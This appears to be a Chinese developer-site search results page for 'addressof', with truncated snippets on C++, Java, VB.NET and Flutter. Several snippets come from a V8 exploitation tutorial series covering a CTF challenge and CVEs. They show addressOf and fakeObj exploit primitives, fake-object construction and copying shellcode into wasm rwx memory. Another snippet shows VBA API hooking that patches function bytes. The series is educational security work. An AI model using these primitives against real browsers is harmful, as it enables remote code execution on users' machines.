首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏蓝天

    C++标准库addressof的应用

    C++11将addressof作为标准库的一部分,用于取变量和函数等内存地址。 代码示例: #include #include void f() {} int main() {     int m;     printf("%p\n", std::addressof (m)); // 一些环境非C++11可用std::__addressof     printf("%p\n", std::addressof(f));     return 0; }

    73030发布于 2018-08-02
  • 来自专栏10km的专栏

    解决std::addressof找不到及eclipse lunna+cdt 8.6.0 支持 c++11的设置

    最近在eclipse下写c++代码,当用到std::addressof时,eclipse报错,说是无法解析这个函数: 但带两个下划线前缀的同名函数std::__addressof却是可以用的,而且使用 std::addressof时也能正常命令行编译,不会报错 本来打算就这么将就用吧,不想去进一步搞清楚原因了,除了那红字看着不爽,没别的影响。 但是代码在vs2010下编译时又出错了,说是找不到 std::__addressof这个方法,但是可以是可以找到addressof, 这可有点麻烦了,仔细研究了一下,原来addressof是纳入c+ std::addressof和std::__addressof, 但在move.h中通过对__cplusplus宏变量的判断来决定是否定义std::addressof函数,如果__cplusplus :addressof函数。

    1.1K40编辑于 2022-05-07
  • 来自专栏智慧zhuhuix的开发专栏

    举一个有趣的例子,让你轻松搞懂JVM内存管理

    catch (Exception e) { e.printStackTrace(); } } public static long addressOf public static void main(String[] args) { System.out.println( "CONST_STRING的地址值:"+ObjectAddress.addressOf CONST_STRING; String str2 =CONST_STRING; System.out.println( "str1的地址值 :"+ObjectAddress.addressOf String str3 =new String(CONST_STRING); System.out.println("str3的地址值 :"+ ObjectAddress.addressOf public static void main(String[] args) { System.out.println( "CONST_STRING的地址值:"+ObjectAddress.addressOf

    48020发布于 2020-08-14
  • 来自专栏C++11

    C++11 std::uninitialized_copy_n 原理与实现

    内存构造机制函数通过循环遍历源序列,对每个元素使用placement new在目标内存地址直接调用拷贝构造函数:::new (static_cast<void*>(std::addressof(*current ))) ValueType(*first);这里使用std::addressof确保即使对象重载了operator&,也能获取到正确的内存地址。 实现可以采用memcpy进行批量内存复制,大幅提升性能:if (std::is_trivially_copyable<ValueType>::value) { std::memcpy(std::addressof (*d_first), std::addressof(*first), count * sizeof(ValueType)); return d_first + count (*d_first), std::addressof(*first), bytes); // 返回指向最后一个元素之后的迭代器 return std::next(d_first

    25400编辑于 2025-07-16
  • 来自专栏Android点滴分享

    c++模版笔记(3)

    std::addressof() 防止有的类重载 & 运算符,用 std::addressof() 可以一定拿到地址。

    45010编辑于 2022-10-25
  • 来自专栏Seebug漏洞平台

    从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)

    编写addressOf函数 首先我们来写addressOf函数,该函数的功能是,通过把obj数组的map地址改为浮点型数组的map地址,来泄漏任意变量的地址。 var obj_array = [obj]; var array_map = double_array.oob(); var obj_map = obj_array.oob(); function addressOf itof(0x41414141n), itof(0x100000000n), ]; 计算fake_object_addr地址的偏移需要稍微改改: fake_array_addr = addressOf 0x30n; var fake_object = fakeObj(fake_object_addr); 获取rwx_addr的过程需要稍微改一改偏移: var wasm_instance_addr = addressOf [ array_map, itof(0n), itof(0x41414141n), itof(0x100000000n), ]; fake_array_addr = addressOf

    1.2K30编辑于 2022-02-23
  • 来自专栏C++核心准则原文翻译

    C++核心准则C.166:​ 重载的单目运算符&只能用于智能指针和引用

    Note that std::addressof() always yields a built-in pointer. 如果你要"招惹"&运算符,一定要确保它的结果类型和->,[],*和 . 注意std::addressof()总是返回一个内置类型的指针。 Enforcement(实施建议) Tricky.

    65330发布于 2020-03-25
  • 来自专栏办公魔盒

    VB.NET 服务端源码

    arr = get_data.Trim.Split("|") If arr(0) <> "" Then BeginInvoke(New EventHandler(AddressOf Dim bytesSent As Integer = b4aSocket.Send(msg) BeginInvoke(New EventHandler(AddressOf addtxt) listenThread.Abort() bt_st.Text = "停止侦听" End Sub Sub create_listen() '创建侦听 listenThread = New Thread(AddressOf

    98220发布于 2019-07-22
  • 来自专栏完美Excel

    问题探讨01: 如何使用鼠标滚轮使单元格中的数值增减?

    BeginHK() '获取当前的线程ID i =GetCurrentThreadId '这里安装的是键盘钩子 hHook =SetWindowsHookEx(WH_MOUSE, AddressOf 在VB5.0以前应用程序无法越过VB直接处理消息,微软从VB5.0开始提供AddressOf 运算符,该运算符可以让用户程序将函数或者过程的地址传递给一个API函数。 这样我们就可以在VB应用程序中编写自己的窗口处理函数,通过AddressOf 运算符将在VB中定义的窗口地址传递给窗口处理函数,从而绕过VB的解释器,自己处理消息。

    2.7K10发布于 2020-04-01
  • 来自专栏Seebug漏洞平台

    从 0 开始学 V8 漏洞利用之 CVE-2021-30517(七)

    return receive.m() } for (let i = 0; i < 140; ++i) { trigger1(); } element = trigger1(); 编写addressOf 函数 在上面的基础上,编写addressOf函数: function addressOf(obj_to_leak) { obj_array[0] = obj_to_leak; receive2 lookup_start_object.length; return receive2.m() } for (let i = 0; i < 140; ++i) { trigger2(); } 改addressOf /2; hi1 = trigger2(); res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000); return res; } 原理和addressOf 构造fake_obj的代码如下所示: var fake_array = [1.1, 2.2, 3.3, 4.4, 5.5]; var fake_array_addr = addressOf(fake_array

    85230编辑于 2022-02-23
  • 来自专栏四月天的专栏

    C++11:多线程(1)

    M_device(0), _M_owns(false) { } //构造函数,只允许显示调用 explicit unique_lock(mutex_type& __m) : _M_device(std::__addressof M_owns = true; } //构造函数,无互斥所有权 unique_lock(mutex_type& __m, defer_lock_t) noexcept: _M_device(std::__addressof owns(false){ } //构造函数,尝试获得锁的所有权,而不阻塞 unique_lock(mutex_type& __m, try_to_lock_t) : _M_device(std::__addressof try_lock()) { } //构造函数,拥有互斥锁所有权 unique_lock(mutex_type& __m, adopt_lock_t) noexcept : _M_device(std::__addressof

    76210编辑于 2023-03-10
  • 来自专栏数据处理与编程实践

    VBA: "隐藏模块中出现编译错误:<module name>"的解决对策

    保存原函数开头字节,这里是6个字节,以备后面恢复 MoveMemory ByVal VarPtr(OriginBytes(0)), ByVal pFunc, 6 '用AddressOf 获取MyDialogBoxParam的地址 '因为语法不允许写成p = AddressOf MyDialogBoxParam,这里我们写一个函数 'GetPtr ,作用仅仅是返回AddressOf MyDialogBoxParam的值,从而实现将 'MyDialogBoxParam的地址付给p的目的 p = GetPtr (AddressOf MyDialogBoxParam) '标准api hook过程之四: 组装API入口的新代码 'HookBytes

    18.1K11编辑于 2022-09-20
  • 来自专栏半行代码

    Flutter ffi实践录

    external int get address; } abstract class Struct extends NativeType { final Pointer<Struct> _addressOf ; Struct() : _addressOf = nullptr; Struct. _addressOf); } // 这个文件里面同时也定义了 sizeof 这个方法,对应C的sizeOf external int sizeOf<T extends NativeType>();

    2.4K20编辑于 2022-05-10
  • 来自专栏C++ 动态新闻推送

    C++ 动态新闻推送 第23期

    std::size_t size{1'000}; }; int main() { constexpr auto t = trade{}; __builtin_dump_struct(std::addressof (t), std::addressof(std::printf)); } 效果 const struct trade { double price : 42.000000 std::size_t size

    73110发布于 2021-08-31
  • 来自专栏Seebug漏洞平台

    从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四)

    的作用是把corrupted_array数组的长度改为0x24242424/2 = 0x12121212,那么后续如果我们的obj_array和double_array在这个长度的内存区域内,那么就可以写addressOf 编写addressOf函数 现在我们能来编写addressOf函数了: function addressOf(obj_to_leak) { obj_array[0] = obj_to_leak; exp1.js function copy_shellcode_to_rwx(shellcode, rwx_addr) { ...... var buf_backing_store_addr_lo = addressOf = 0x" + hex(ftoi(array_map))); console.log("[*] obj_map = 0x" + hex(ftoi(obj_map))); 接下来只要在exp1的基础上对addressOf 和fakeObj进行一波微调,就能形成我们的exp2了: $ cat exp2.js function addressOf(obj_to_leak) { obj_array[0] = obj_to_leak

    1.1K10编辑于 2022-02-23
  • 来自专栏Seebug漏洞平台

    从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

    ))); if (d2u(z)[1] == 2) oobWrite(u2d(d2u(z)[0], 0x20)); else oobWrite(u2d(0x20, d2u(z)[1])); 编写addressOf 函数 现在我们能来编写addressOf函数了: function addressOf(obj_to_leak) { vul_obj[0] = obj_to_leak; trigger_array

    1.1K20编辑于 2022-02-23
  • 来自专栏办公魔盒

    VB.NET Excel Vsto 任务窗格_数据可视化处理

    MotCtp.Width = 300 ''--添加任务窗格事件 AddHandler MotCtp.VisibleChanged, New EventHandler(AddressOf MotCtp_VisibleChanged) AddHandler MotCtp.DockPositionChanged, New EventHandler(AddressOf MotCtp_DockPositionChanged

    2.3K30发布于 2021-06-25
  • 来自专栏C++ 动态新闻推送

    C++ 动态新闻推送 第50期

    constexpr T* operator->() { return addressof(this->m_value); } constexpr T const* operator ->() const { return addressof(this->m_value); } // ... }; template <typename T> class OptionalDeducingThis template <typename Self> constexpr auto operator->(this Self&& self) { return addressof(self.m_value

    52710编辑于 2022-02-23
  • 来自专栏CPP开发前沿

    STL源码解析--list揭秘

    _M_ptr(); } #else _Tp _M_data; _Tp* _M_valptr() { return std::__addressof(_M_data ); } _Tp const* _M_valptr() const { return std::__addressof(_M_data); } #endif }; 上面定义可以看出,从C++11

    44710编辑于 2023-08-28
  • 来自专栏技术随笔心得

    vector初始化与否导致的巨大性能差异

    uninitialized_default_n_1<false>::__uninit_default_n<AdItem*, unsigned long> ------> std::_Construct(std::__addressof uninitialized_fill_n<false>::__uninit_fill_n<AdItem*, unsigned long, AdItem> ------> std::_Construct(std::__addressof 在源码一节中,我们提到未初始化版本和初始化版本最终分别调用了std::_Construct(std::__addressof(*__cur))和_Construct(std::__addressof(*

    97710编辑于 2022-08-25
领券